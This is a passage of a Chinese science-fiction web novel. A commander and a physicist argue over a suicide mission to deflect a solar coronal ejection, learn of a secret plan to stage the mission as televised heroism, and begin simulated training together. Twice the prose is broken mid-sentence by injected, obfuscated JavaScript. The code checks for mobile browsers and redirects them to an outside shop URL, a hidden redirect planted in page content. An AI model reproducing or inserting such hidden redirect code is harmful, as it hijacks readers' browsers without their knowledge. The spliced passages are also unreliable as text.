局面再糟,也要上。 怀从咎没回头:“够撑多久?” “多二十秒左右。”陈启撑着桌子,“二十秒在关键时候能扭转乾坤。只要跟着你,就没有不可能的任务。” 他说这话时,目光完全落在怀从咎身上。那种崇拜不是下级对上级的,更像学徒对师父的,信徒对神像的——炽热,纯粹,毫无保留。 祝觉明看着这一幕,目光在俩人身上转了转。 “所以现状是,”聂宜生再度开口,“我们有一个理论上存在的方案,需要一艘飞船飞到离太阳极近的位置,在十一分钟窗口内完成引爆,然后船毁人亡。执行者是怀从咎指挥官,辅助团队由陈启副官带领。祝觉明博士提供理论模型和实时计算支持。对吗?” “对。”祝觉明点头,“就是这样。” “不对。”怀从咎同时否决,“不是这样。” 所有人看向他。 “我还没答应,”怀从咎转过身,面对长桌,“你们就着急送我去死?” “这是联合组织最高级别命令,,”聂谊生的声音沉下来,“你不是在应聘,是在接受命令。” “命令我去送死?” “命令你去执行人类文明存续的最后方案。” 怀从咎笑了。这次只有眼睛里有一点光在烧,他挑眉、绕到长桌前。 “好啊。那我问几个问题。” 他双手撑在桌沿,身体前倾,目光扫过每一个人。 “第一,这个磁力线结节的理论依据是什么?谁验证过?” “基于我三年前发表的时空拓扑论文第七章。”祝觉明回答,“验证数据来自帕克太阳探测器第49次近日点飞行的异常读数,以及月球背面的深空观测阵列过去六个月捕获的太阳风谐波。” “谐波?”怀从咎抓住这个词,“你是说,太阳在唱歌,然后你们从中听出了个结节?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174308|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “是能量波动在特定频率上的共振现象。类比为声波谐波,便于理解。” “行。第二,爆炸当量多少?用什么炸弹?” “五千万吨TNT当量。特制反物质触发装置,体积控制在飞船载荷舱内。” “反物质。”怀从咎重复,“那东西在地球轨道上存储都危险,你们要把它带到太阳旁边,在极端环境下引爆。” “存储容器是我设计的。”祝觉明似乎叹了口气,“理论上能承受。” “理论上。”怀从咎点点头,“第三,也是最重要的——你们怎么确保,十一分钟窗口期真的存在?模型是模型,太阳是太阳。我飞了十五年,学会的第一件事就是:太空从不按教科书演出。” 这个问题让会议室里几个科学家坐直了。 祝觉明沉默了几秒。 “无法确保。” 怀从咎等着他说下去。 “所有模型都有误差。”祝觉明继续说,“太阳活动本质是混沌系统,任何预测都存在不确定性。我能做的,是把误差范围压缩到最小,提供实时修正方案。但最终——” 他看向怀从咎。 “——最终需要你,在那一刻,做出判断。如果结节没有出现,如果窗口期偏移,如果任何变量超出阈值,你需要决定:是继续执行,还是中止。” “中止意味着什么?” “意味着任务失败。地球会在五小时后开始承受第一波实质性打击。” 怀从咎盯着他:“所以你给我的,是个可能送死,也可能看着所有人死的选择。” “是。” “而你坐在指挥中心,看着数据,告诉我该选哪个。” “我会提供建议。”祝觉明往后退了一步,“但决定权在你。” 怀从咎直起身,长长吐出一口气。那气息在安静的会议室里听得清楚。他转过身,走到窗边——会议室在地下三百米,窗户是模拟景观,显示着地面某处森林的实时影像。 日光透过树叶洒下来,斑驳晃动。 他看了那画面十秒钟。 “我不信任你的模型。” 祝觉明没有反应。 “不是说你算错了。”怀从咎转回身,“是说,你把所有东西都变成数字。生存概率,当量,窗口期,误差范围……但坐在飞船里的是人。人会怕,会手抖,会在关键时刻脑子空白。这些你的模型算进去了吗?” “心理因素有独立评估模块。”祝觉明调出另一份数据,“你的压力测试分数在所有候选人中最高。陈启副官排名第三。” “分数。”怀从咎摇头,“你们就知道分数。” 他走回长桌边,这次直接走到祝觉明面前。两人距离不到一米。怀从咎比祝觉明高半个头,此刻微微低头,目光从上往下压。 “博士,你见过人死吗?不是在数据里,是在眼前。” “见过。”祝觉明抬眼看着他,“我导师死于实验室事故。我看着他被抬出去。” “什么感觉?” “遗憾。然后改进实验协议,防止再发生。” 怀从咎笑了。这次是真的觉得可笑的那种笑。 “所以对你来说,死亡就是个……需要修正的错误。” “是的。”祝觉明说得很坦然,“所有不必要的死亡都是错误。而这次任务,是避免七十亿个错误的唯一途径。” “哪怕代价是我们这几个?” “权衡。” “好一个权衡。”怀从咎后退一步,声音突然提高,“那我也权衡一下。你的模型,你的理论,你的一切——都建立在太阳活动是自然现象的基础上。但如果它不是呢?” 这句话让会议室里好几个人变了脸色。 “注意你的言辞!”聂谊生打断他,“选你是因为你有生还的可能,你可以带任何你想带的人去,选别人我们不放心也无法存活,你明白吗?” “我的言辞?”怀从咎看向他,“长官,我在柯伊伯带看到的东西,报告里只写了十分之一。有些现象不符合任何已知物理规律。而这次太阳异常,发生的时间点太巧了。人类刚在月球背面建好那个深空观测阵列,刚启动对太阳风谐波的研究,突然就来了一场足以灭绝文明的日冕抛射?” “你的模型里,有没有加入非自然因素这个变量?” 他转回祝觉明,后者沉默看向左手无名指戒指表面;它又掠过一道蓝光,这次持续了半秒。 “所有可能性都考虑过。”他终于敢于直视怀从咎,“但没有证据支持非自然假说。科学只处理可观测、可验证的数据。” “所以如果真有非自然因素,我们就是去送死?” “那么无论是否执行任务,人类都会灭亡。区别只在于灭亡的方式。” 对话到这里,陷入了僵局。 太阳模型还在旋转,倒计时显示:9分47秒。 陈启突然举手,像学生在课堂上。 “那个……”他小声,“我能说一句吗?” 所有人都看向他。 “我研究过怀指挥官所有的任务记录。十七次A级危机,其中十一次,舰载AI的建议都是放弃,生还概率低于百分之五。但他都找到了出路。” 他看着怀从咎的崇拜几乎要溢出来。 “这次概率是零点零零……好多零,但比百分之五小吗?数学上可能更小,但在我看来,只要不是零,老大就能做到。” “陈启,闭嘴。”怀从咎瞪他,“你晓不晓得牺牲意味着什么?你是跟我好多年,没有我之后呢?我要把一整个舰队交给你吗?” “我不!”陈启站起来,年轻人特有的莽劲上来了,“你们在这儿争论模型对不对,理论靠不靠谱,但问题很简单:要么试,要么死。试了还有可能活,不试肯定死。那为什么不试?” “博士,你就说,你的模型里,有没有哪怕一丝可能——我是说,假设所有运气都站在我们这边,假设怀指挥官的操作能突破理论极限——有没有可能,飞船能在引爆后逃出来?” 祝觉明看着他。 看了很久。 “有。” 4. 前进等于自由 他调出模型的底层代码,快速操作。投影上,太阳模型旁边出现另一组复杂的方程式。 “如果护盾能在熔毁前再维持二十三秒,如果爆炸冲击的反冲力比预期高百分之八,如果怀指挥官能在飞船解体前的最后零点四秒启动逃生舱弹射,并且弹射角度精确到零点一度……那么逃生舱有可能借助冲击波获得初速度,脱离太阳引力井。” “但这个有可能的概率是:0.00000000002%。比任务成功的概率还低三个数量级。” “那就够了。”陈启笑了,“我……” “陈启。”怀从咎硬生生打断他不切实际的幻想,“百分之零点零零零零零零……的东西不叫可能。” “但它是存在的!”陈启坚持,“只要存在,就值得拼!” 会议室里又安静下来。 倒计时8分11秒。 一直沉默的苏持风开口了。她坐在监察部的位置上,之前只是记录,现在放下笔,看向聂谊生:“长官,按照流程,如果主要执行者对方案有重大疑虑,会议应进入复议阶段。” “时间不够复议。”聂谊生摇头。 “那就缩短流程。”苏持风说,“怀指挥官的核心质疑在于两点:一是理论风险,二是决策权重。我建议,祝觉明博士提供模型的全部原始数据和推演过程,供独立团队审查——当然,是加速审查。同时,明确任务中的决策权归属:是地面指挥中心,还是飞船指挥官?” “这不符合协议。”郭山错说,“高危任务决策权一律归指挥中心。” “但这次任务,”苏持风看向他,“指挥中心能看到的数据,和飞船上的人看到的数据,会有七到十二秒的传输延迟。在关键时刻,十二秒决定生死。” 郭山错面无表情:“延迟已在计算中。祝觉明博士的模型包含预测模块,可以提前七到十秒给出指令。” “预测可能出错。” “那就承担出错后果。” 对话再次卡住。 祝觉明这时动了。他关闭了太阳模型,投影切换成飞船内部结构图。近日点号的剖面图,每个舱室都标着编号和功能。 “我修改方案。”他抬眼,“都听我说。” 所有人都看他。 “原计划是:我在地面指挥中心,提供数据支持。现在改为:我上飞船。” 聂谊生猛地站起来:“祝博士,这不符合——” “符合。”祝觉明打断他,“如果怀从咎他不信任延迟的数据,不信任远距离的指令,那么唯一解就是数据源在他身边。我在飞船上,可以实时计算、实时修正,把延迟降到零。” 他看着怀从咎:“这样,你的质疑解决了吗?” 怀从咎愣住。他显然没料到这一步。 “你……”他眉心微蹙,“你是首席科学家,是模型创造者。你在地面,还能指挥其他团队尝试备用方案;你上飞船,如果出事,所有理论支持就断了。” “没有备用方案。”祝觉明倒笑了,“而如果我在地面,因为传输延迟导致指令错误,飞船同样会出事。既然如此,不如把错误概率降到最低。” 他说话时,左手无意识地摩挲着无名指的戒指。那个动作很轻,但怀从咎注意到了。 “你那戒指,”怀从咎目光微移,“不只是装饰吧。” 祝觉明的手停住。 “脑波抑制器。”他坦白,“我工作时常时间接触高维数学模型,会产生神经副作用。抑制器能屏蔽背景干扰,让我保持思维清晰。” “副作用是什么?” “听见……杂音。”祝觉明选了个词,“宇宙背景辐射中的特定频率,经过大脑处理后会形成类似声音的感知。没有实际意义,但影响专注。” 怀从咎盯着他,又盯着戒指,尔后问的突兀:“你听到的杂音,最近有变化吗?” 祝觉明没有立刻回答。 他的目光第一次出现了闪躲,尽管很轻微。 “有。”他最终承认,“自从太阳异常开始,杂音出现了规律性波动。波动周期和日冕活动有微弱的相关性。” “多微弱?” “相关系数0.18。统计学上不显著。” 怀从咎慢慢的走回自己的座位,站在椅子后双手撑着椅背。 “所以,”他没有坐下,“你其实也在怀疑,怀疑这次异常不完全是自然现象。” “我怀疑一切。”祝觉明目光有些飘忽,“但怀疑需要证据。目前证据指向自然现象。” “证据也可能被制造。” “那更需要近距离观察。” 两人对视。 倒计时6分03秒。 聂谊生敲了敲桌子:“所以现在的方案是:祝觉明博士随飞船同行,提供实时计算支持。怀从咎指挥官驾驶飞船,陈启副官负责技术和应急。任务目标不变:抵达近日点,引爆炸弹,尝试偏转日冕抛射。对吗?” “对。” 祝觉明点头了,怀从咎没说话。 “怀指挥官?”聂谊生看向他。 怀从咎抬起头。他的目光扫过会议室里的每一个人:聂谊生紧皱的眉头,苏持风担忧的眼神,郭山错冰冷的表情,林静渊全息影像中若有所思的脸,陈启亮得灼人的眼睛,还有祝觉明——那个站在数据中央,愿意为理论赌上性命的人。 最后他看向模拟窗户。森林光影还在晃动,阳光正好。 “我有个条件。”他呼出一口气。 “讲。” “任务期间,飞船内的所有决策,最终决定权在我。祝觉明可以建议,可以计算,可以反对,但我说了算。” 祝觉明点头:“可以。” “哪怕我的决定和你的模型冲突?” “只要你能给出合理理由。” “理由可能是直觉。”怀从咎回头看了眼投影,“可能说不清道不明,但我就是觉得该那样做。你接受吗?” 祝觉明沉默了两秒。 “接受。”他也回过头,“但前提是,在非紧急情况下,你需要解释。我需要理解你的直觉逻辑,才能调整模型。” “成交。” 怀从咎终于坐下来。椅子发出轻响。 郭山错再次将那份执行清单推到桌子中央:“那么,请确认。” 清单最下方,有两个签名栏:飞行指挥官——怀从咎,科学主管——祝觉明。 怀从咎看向祝觉明:“一起?” 祝觉明点头。 两人同时伸手,在清单的投影界面上按下指纹。生物识别光扫过,两个名字亮起绿色。 确认。 倒计时:05分00秒。 聂谊生站起来:“散会。怀指挥官,祝博士,陈副官,你们有三小时准备时间。飞船将在五小时后发射。其他部门,按应急预案启动全球避险程序——但注意,消息控制在B级机密以下,不得引发恐慌。” 人们开始起身。椅子滑动声,低语声,脚步声。 苏持风走到祝觉明身边,压低声音:“博士,我需要和你单独谈——” 话没说完,会议室的门突然被敲响。 一个穿传令兵制服的年轻人站在门口,脸色苍白,手里拿着一个密封的信封。他径直走向聂谊生,递上信封,低声说了句什么。 聂谊生拆开信封,看了一眼里面的内容。 他的脸色变了。 “会议暂停。”他看向祝觉明和怀从咎,“所有人留在原地。怀指挥官,祝博士,你们俩——跟我来。” 他看向门口:“总长要见你们。” 祝觉明和怀从咎对视一眼。 “现在?”怀从咎问。 “现在。”聂谊生点头,“其他人在此等候。苏监察长,你维持秩序。” 他转向满屋子疑惑的脸,补了一句: “我们先中场休息,大家都不要吵了。” 说完,他带着祝觉明和怀从咎,快步走出会议室;门关上,隔绝了所有视线,会议室里剩下的人面面相觑。 陈启挠挠头,看向苏持风:“监察长,这什么情况?” 苏持风看着紧闭的门,退了一步。 “我不知道。”她轻声,“但恐怕,我们刚才讨论的一切,还不是全部真相。” 窗外,模拟的森林光影还在晃动; 但阳光的角度,似乎偏斜了一点。 走廊是纯白色的。 祝觉明跟在聂谊生身后半步,怀从咎走在他旁边。三人脚步踏在地面,发出规律的回响——这层楼的建材用了特殊的吸音复合材料,本该寂静无声,但此刻脚步声却清晰得异常。 像是暗示,或系统故障。 走廊两侧没有门,只有光滑的壁面,每隔十米嵌着一枚微弱的指示灯。光线是冷的,映在祝觉明镜片上,折出细碎的亮点;怀从咎走得很放松,但视线在扫视四周。他右肩微微向前,那是长期飞行养成的习惯——在狭窄通道里,总要留出反应空间。 上一次这么警戒是在柯伊伯带,看着导航屏上突然出现的不该存在的引力畸变时。 “多深?”怀从咎忽然开口。 聂谊生没回头:“什么?” “我们现在的位置。地下多少米?” “两千六百。” “上面呢?” “上面是中央指挥区的主结构层,再往上是地质缓冲带,再往上……”聂谊生顿了顿,“是春明市南郊的山体。我们在一座山底下。” “真会挑地方。”怀从咎冷笑,“炸了都埋得干净。” 祝觉明看了他一眼,没说话。 走廊尽头是一扇门。没有把手,没有识别面板,就是一面光滑的黑色金属。聂谊生站定,门无声滑开。 里面的空间不大。 圆形,直径约十米,高约五米。 中央放着一张半环形桌,桌后坐着一个人。 总长,观照。 他穿着和会议室里一样的黑色常服,但此刻没戴帽子;灰白色的头发剪得很短,脸看起来五十多岁,但眼睛的年龄难以判断——那双眼睛太静了,静得像深潭,表面不起涟漪、底下却沉着不知多少东西。 桌面上除了一个透明数据板,什么都没有。 “坐。”观照抬手示意。 桌前三张椅子。聂谊生走到侧边站着,祝觉明和怀从咎坐下。椅子自动调整高度和角度,让两人与观照平视。 门在身后合拢。 “时间有限,我直说。”观照的声音和在全息会议里听到的一样平稳,“你们刚才在会议室讨论的方案,是基于公开情报和标准危机应对流程制定的。那很好,符合程序、符合预期。” 他停顿,目光从祝觉明脸上移到怀从咎,再移回来。 “但那不是全部。” “日冕物质抛射是真实的,威胁是真实的,人类文明面临灭绝也是真实的。”观照继续自顾自讲下去,“但救世计划——你们刚才讨论的那个——只是表层。深层还有一个计划,代号逐日。” 他调出数据板。屏幕亮起,显示出一份加密文件的封面。 【逐日计划/最高机密—权限等级:零】 “表层计划的目标是偏转抛射体,拯救地球。深层计划的目标更宏大。”观照看向两人,“深层计划要求你们,在完成表层任务的同时,完成另一项使命:表演。” 怀从咎眉心微蹙:“表演什么?” “表演人类文明的勇气、团结、和技术巅峰。”观照闭上眼,看不出陶醉还是自己都觉得荒谬,“近日点号的任务,从发射到近日点引爆,全程会被全球直播。不是延迟转播,是实时。每一秒画面、每一个数据波动,都会呈现在七十亿人面前。” 祝觉明推了推眼镜:“为什么?” “因为人类需要希望。”观照微笑,“或者说,人类需要相信自己有希望。你们刚才计算的生存概率,那个小数点后很多零的数字——如果公之于众,文明会在五小时内崩溃。恐慌、暴乱、自毁行为会比太阳风更早灭绝人类。” 他身体前倾,双手交叠放在桌上。 “所以我们要演一出戏。戏的内容是:人类最顶尖的科学家和最无 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“是去执行任务,并让任务看起来像英雄史诗。”观照颇为耐心的纠正他,“而且,表层计划仍有成功概率。虽然渺茫,但存在。” “那个概率您信吗?”怀从咎敲了敲桌面,“您自己信吗?” 观照沉默了两秒。 “我信数据。”他最终开口,“祝觉明的模型是当前人类科学的极限。如果他的计算显示有概率,那我就承认有概率。但同时,我也相信——有些东西,超出计算。” 他目光落在怀从咎年轻的面庞上,如同吟唱。 “怀指挥官,你的档案我读无数遍。柯伊伯带生还,不是运气。火星基地事故中,你是唯一提前三小时建议撤离的人——当时所有监测数据都正常。三年前近地轨道卫星群连锁故障,你在故障发生前四分钟,手动切断了主控线路,阻止了灾难扩散。” “你的直觉在统计学上是异常值,但也有可能、是唯一有效的变量。” 怀从咎没接话。他在等那个真正的重点。 “所以逐日计划的核心安排是这样的。”观照重新靠回椅背,“你们二人搭档。祝觉明提供理性计算,怀从咎提供直觉决断。表层任务:飞到近日点,引爆炸弹,尝试偏转抛射;深层任务:在整个过程中,展现出人类最好的一面——协作,勇气,智慧,牺牲精神。” “全球直播会进行艺术化处理。”聂谊生这时补充,“画面会有延迟和剪辑,但核心流程真实。民众看到的,会是经过优化的英雄叙事。” “而我们需要做的,”祝觉明总结,“就是在真实操作的同时,兼顾表演性。” “对。”观照点头,“所以你们需要训练。不仅是技术训练,还有默契训练,以及如何在镜头前表现的训练。” 怀从咎揉了揉眉心:“训练时间?” “现实时间三秒。” 两人同时看向他。 观照继续:“我们会把你们的意识接入高维数据流模拟系统。系统内的时间流速与现实不同。外界三秒,内部可以模拟三个月。你们将在虚拟环境里,完成所有可能场景的训练——从发射到引爆,到各种意外情况的应对。” “意识上传。”祝觉明轻声,“林静渊博士的技术。” “对。她是神经链接领域的先驱,系统由她主导开发。安全性和稳定性经过验证。”观照看向两人,“这是目前最高效的方式。我们没有三个月,但你们需要三个月的磨合期。” 怀从咎忽然问:“训练内容呢?只是飞飞船,按按钮?” “包括,但不限于。”观照调出另一份文件,“训练会模拟各种极端情况:系统故障,导航错误,太阳活动突变,甚至你们二人的意见冲突。目标是在所有可能情境下,找到最优解——或者至少,找到不会导致立即失败的解。” 他目光变得深邃。 “据模型显示,你们二人组合的不稳定系数最高。理念,性格,决策方式……全是冲突点。但与此同时,奇迹系数也最高。人类现在需要的是奇迹。要么一起创造它,要么一起被写入共同的墓志铭。” 话说完了。 房间再次安静。只有数据板屏幕散发的微光,映在三人脸上。 怀从咎盯着观照,半晌吐出一句话:“我还有选择吗?” “有。”观照看起来那叫一个慷慨,“你可以拒绝。我们会找备用人员——虽然适配度低,但理论上可行。然后你可以在安全区,看着直播,等待结果。” “备用人员的成功概率呢?” “祝觉明博士?” 祝觉明抬起眼:“如果替换怀指挥官,模型需要重新计算。但粗略估计概率会再降两个数量级。” “也就是几乎为零。”怀从咎点头,“那还选什么。” 他站起来,椅子向后滑开。 “训练什么时候开始?” “现在。”观照也起身,“聂长官会带你们去链接室。三秒后——你们的意识时间三个月后——我们再见面。” 他看向祝觉明:“博士,你还需要准备吗?” 祝觉明摘下眼镜,用衣角擦了擦镜片,重新戴上。 “不需要。”他说,“我已经算了十七种可能情况。再多三个月的模拟,不会改变核心结论。” “但可能会改变一些非核心的东西。”观照意味深长地微笑,“你们真的不试试吗?” 祝觉明没回应。 试什么?有什么好试的?观照给他们叫过来就没想问他们意见吧? 他看向怀从咎,其实他什么都知道,包括这该死的作弊行为、他也知道最后真要走上死路的不会是怀从咎,他没那么傻鸟到莫名其妙就干出送人去死的事儿。 但是,他欺骗、他隐瞒、他和观照一起一唱一和还搞得像他和怀从咎同一立场…… 那他确实没有良心。 “走吧,”他最终开口,“我们确实需要三个月,解决一些我们之间的默契。” “那么好,”聂谊生走向门口,“两位,跟我来。” 5. 倒反天罡 恢宏数据流的链接室在走廊的另一端。 房间呈圆柱形,中央并排放着两座半透明的维生舱,形状像茧。舱内注满了凝胶状液体,表面偶尔泛起细微的气泡;顶部垂下几十条神经接驳线,末端是银白色的贴片。 林静渊的全息影像站在控制台前。她依然坐在轮椅上,但影像的细节逼真得可怕——能看见她衣服的细微褶皱,能看见毯子绒毛的纹理。 “两位,请脱去外衣,进入维生舱。”她的声音通过扬声器传出,比会议室里更清晰,几乎没有数字合成的痕迹,“接驳过程会有轻微刺痛感,属于正常反应。意识上传后,你们会经历短暂的迷失期,随后进入训练场景。” 怀从咎看了眼那些凝胶:“要泡进去?” “导电凝胶,用于稳定神经信号。”林静渊解释,“同时提供基础维生支持。现实中的三秒,你们的身体不会感到不适。” 祝觉明已经开始解衬衫纽扣。他的动作有条不紊,像在做实验准备。衬衫脱下,露出偏瘦但线条清晰的上身;左手臂上有几道旧伤疤,看起来是实验室事故留下的。无名指上的戒指没摘,在冷光下泛着哑光。 他真是脱衣服脱的毫不犹豫。 怀从咎也脱下作战服。他身材更结实,肩背肌肉轮廓分明;皮肤上有不少旧伤——灼伤、割伤、还有一道从右肋斜划到腰侧的缝合痕。锁骨处的灼痕完全暴露出来:淡金色,从锁骨中央延伸到肩胛,形状像一片逆飞的火焰,边缘有不规则的虹彩光晕。 林静渊的目光在那道痕上停留了片刻。 “怀指挥官,”她忽然说,“训练系统中,你的感知模块会经过特殊校准。如果感觉到任何异常频率的波动,请立即报告系统。” “什么算异常?” “超出预设物理规律的数据流。或者,让你联想到柯伊伯带事件的感知模式。” 怀从咎眯起眼:“你们在系统里加了什么?” “只是预防措施。”林静渊避开直接回答,“请进舱。” 两人躺进维生舱。凝胶是温的,触感像浓稠的海水,包裹住身体时产生轻微的压力;神经贴片自动附着在太阳穴、后颈、手腕和脚踝,冰凉的触感随后是细微的刺痛,像被静电击中。 祝觉明闭上眼。 怀从咎还睁着眼,看着舱盖缓缓合拢。透过半透明的材质,能看见林静渊的影像在控制台前操作,能看见聂谊生站在门口,表情复杂。 尔后视野暗下去。 【意识链接启动】 【神经信号同步率:99.7%】 【时间流速比设定:1现实秒 = 30模拟日】 【训练场景载入中……】 先是黑暗。 然后光涌进来。 怀从咎发现自己站在飞船主控室里。不是模型或投影,是实感——脚下金属地板的振动、空气循环系统的低鸣、控制台屏幕闪烁的光、还有舷窗外那片深邃的缀着星点的黑…… 近日点号。 但和他之前看过的设计图不一样。这里的细节完整得可怕:控制面板上每个按钮的磨损痕迹,座椅皮革的细微皱褶,甚至空气中那股淡淡的新飞船特有的复合材料气味。 “模拟精度很高。”祝觉明的声音从旁边传来。 怀从咎转头。祝觉明站在导航台前,已经换上了飞船内的蓝色工作服。他左手在虚空中划动,调出数据界面——动作流畅得像是做了千百遍。 “场景时间:模拟发射前二十四小时。”祝觉明读着系统提示,“训练目标:完成三次全流程模拟任务,应对随机生成的故障事件。每次模拟后系统会给出评估,并调整后续难度。” 怀从咎走到主控椅前,坐下。椅子自动调整,贴合他的身形。他双手放在操纵杆上——触感和真的一模一样,甚至能感觉到内部伺服马达的微弱振动。 “直接开始?”他问。 “系统建议先从基础操作熟悉——” “直接开始。”怀从咎打断他,“我没时间按部就班。” 祝觉明看了他一眼,点头:“好。” 他调出任务列表。第一个模拟场景弹出: 【场景01:标准发射及巡航】 【目标:抵达近日点坐标,维持系统稳定】 【特殊事件:无】 【预计耗时:模拟时间7日】 “太简单。”怀从咎说,“调难度。我要看最糟的情况。” “系统会根据表现动态调整——” “那就让我表现一下。” 祝觉明沉默两秒,在控制台上操作。场景刷新: 【场景01(修正):标准发射及巡航】 【附加条件:发射后2小时,主引擎效率衰减30%】 【附加条件:导航系统持续受到太阳风干扰,定位误差率+15%】 【附加条件:生命维持系统周期性压力波动】 “够吗?”祝觉明问,“不是我说你……” “不太够,”怀从咎笑了,“但这才像话。” 他推动操纵杆。 飞船在模拟中震颤着脱离轨道船坞。舷窗外地球的弧线缓缓后退,被深邃的太空取代;主引擎喷出蓝色的离子流,加速感通过座椅传来,真实得让人心跳加速。 最初的七个小时很顺利。怀从咎处理引擎衰减的方式是大开大合——他直接关了主引擎的平衡调节,手动控制输出波动,用不稳定的推力换来更高的平均效率。祝觉明在一旁计算着能量损耗曲线,眉头越皱越紧。 “你的操作会让引擎寿命缩短百分之四十。”他提醒。 “如果到不了近日点,引擎寿命百分之百也没用。”怀从咎头也不回。 两小时后,第一个故障弹出。 【警报:冷却回路B组压力异常】 【建议:关闭B组,启用备用回路】 祝觉明调出系统图:“B组负责右舷引擎散热。关闭后,右引擎最大出力会受限。” “能撑多久?” “在当前负载下,模拟时间四十八小时。之后过热风险超过阈值。” 怀从咎盯着导航图。他们才飞了不到十分之一路程。 “备用回路启动要多久?” “三十秒。期间右引擎必须降载至百分之五十。” “太慢。”怀从咎切换控制模式,“给我冷却剂的实时流量数据。” 数据流在屏幕上滚动。祝觉明快速计算:“B组第7号管道有堵塞迹象。可能是模拟的杂质沉积。” “能疏通吗?” “需要出舱作业。模拟环境不建议——” 怀从咎已经起身,走向气闸室。 “你干什么?”祝觉明跟上。 “手动调整流量分配。”怀从咎开始穿宇航服——模拟的,但程序完整得惊人,“B组有十二条并行管道。如果第7号堵了,我把它的阀门关到最小,把流量分到其他管道。总流量不变,但分布改变,能降低局部压力。” “那需要计算每条管道的承压极限——” “我的感知就是尺。”怀从咎戴上面罩,“给我开放气闸权限。” 祝觉明看着他,最终回到控制台,操作解锁。 气闸内压平衡,外门打开。怀从咎飘出去,固定在船体外壁。他用工具手动调节阀门——动作快而准,几乎不假思索。祝觉明在舱内看着监控画面和数据流,发现压力曲线真的在稳定下来。 七分钟后,怀从咎回来。 “解决了。”他脱下面罩,呼吸平稳,“继续飞。” 祝觉明看着恢复正常的数据,沉默了几秒。 “你的方法没有计算支撑。”他最终说,“如果这是现实……” “但有效。” “这次有效,下次可能失效。我们需要可复现的解决方案。” 怀从咎坐回主控椅,重新握住操纵杆。 “博士,”他说,“太空里没有两次完全一样的情况。你算得再精,总有算不到的东西。这时候,就是靠这儿——” 他指了指自己的眼睛,又指了指心口。 “——和这儿。” 祝觉明没再争辩。他回到自己的工作站,开始记录刚才的事件数据,更新模型参数。 飞船继续航行。 模拟时间第三天,第二个故障出现。 【警报:太阳风粒子流强度超出预测】 【建议:调整航线,增加防护层能量分配】 祝觉明调出新的太阳活动数据:“粒子流强度比预测高百分之六十。按当前航线,防护层会在十四小时后过载。” “绕开呢?” “绕行需要多花三十八小时。燃料不够。” 怀从咎盯着星图。那片高粒子流区域像一团红色的雾,横在前方。 “如果硬穿,”他问,“过载风险具体多少?” “防护层崩溃概率:百分之八十二。崩溃后飞船暴露在辐射下,维生系统失效时间:七分钟。” 怀从咎沉思。他的手指在操纵杆上轻轻敲击,祝觉明真怕他下一瞬直接推出去。 “粒子流有结构吗?”他忽然问。 “什么意思?” “是均匀的,还是有缝隙?像风暴里的风眼。” 祝觉明调出详细扫描数据。粒子密度分布图显示,那片区域确实不均匀——有几个点的密度明显低于周围。 “有低密度通道。”他标记出来,“但宽度很小,最窄处只有飞船直径的两倍。而且通道位置在实时变化,预测误差很大。” “多大误差?” “以当前传感器精度,三小时后的位置预测误差在正负五十公里。” 怀从咎笑了。 “五十公里,在太空里就是一根头发丝。”他说,“但我能飞过去。” “依据?” “直觉。” 祝觉明看着他:“你的直觉有数据支撑吗?之前类似情况的成功记录?还是纯粹的猜测?” “在柯伊伯带,我穿过比这更窄的引力湍流区。”怀从咎说,“当时所有传感器都失灵了,导航靠的是……感觉。感觉哪里‘顺’,哪里‘不顺’。” “感觉。”祝觉明重复这个词,像在品尝它的滋味。 “对。”怀从咎点头,“现在我就感觉,左边那条通道更‘顺’。” 他调出左边通道的数据。宽度预测是三点二倍船径,但稳定性评估最低——系统标记为高风险。 祝觉明快速计算。如果走左边通道,成功穿过的概率是百分之三十四。如果走右边最宽的通道,概率是百分之五十一。但右边要多绕行四小时。 “系统建议走右边。”他说。 “系统不知道我们要省时间。”怀从咎已经调整了航线,“左边,全速。” 飞船转向,朝那条狭窄的通道冲去。 祝觉明盯着传感器读数。粒子密度在升高,防护层能量消耗曲线陡峭上升。警报开始闪烁。 【警告:防护层负载87%】 【警告:前方密度波动超出预测】 “怀从咎——” “我知道。”怀从咎的声音很稳,手更稳,“它在收缩。但不是均匀收缩,右前方有个薄弱点,看见没?” 祝觉明调出实时扫描。确实,右前方的粒子密度在异常降低,像被什么无形的东西推开。 “那个点三秒后会移到我们的航线上。”怀从咎说,“我加速,正好撞上。” “撞上?” “穿过它。” 他推动推力杆。飞船加速,朝着那个薄弱点直冲过去。防护层负载跳到94%,警报声变得尖锐。 祝觉明握紧了座椅扶手——这是他第一次在模拟中感到紧张。不是因为数据,是因为不确定性。怀从咎的操作完全超出了模型预测,每一步都踩在理论边缘。 飞船冲进薄弱点。 那一瞬间,传感器读数剧烈波动。防护层负载从94%骤降到61%,然后迅速回升。船体传来一阵高频振动,像穿过了一层粘稠的介质。 三秒后,他们出来了。 前方是干净的太空。粒子流被甩在身后。 怀从咎松开推力杆,长出一口气。 “看,”他转头看祝觉明,眼睛里有一点得意的光,“过来了。” 祝觉明检查系统状态。飞船完好,只是防护层有些过热,需要时间冷却。航行时间比原计划节省了三十四小时。 “你……”他停顿,“你怎么知道那个薄弱点会出现?” “不知道。”怀从咎坦白,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174310|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但感觉那里松。就像你在推一扇门,推不动;但摸到某个点,发现门框有点晃——那就朝那儿用力。” 祝觉明沉默。他在记忆里搜索类似的现象描述。太阳风粒子流的局部密度异常,理论上有过论文,但预测模型极其复杂,且置信度低。 怀从咎却靠“感觉”找到了。 这不科学。 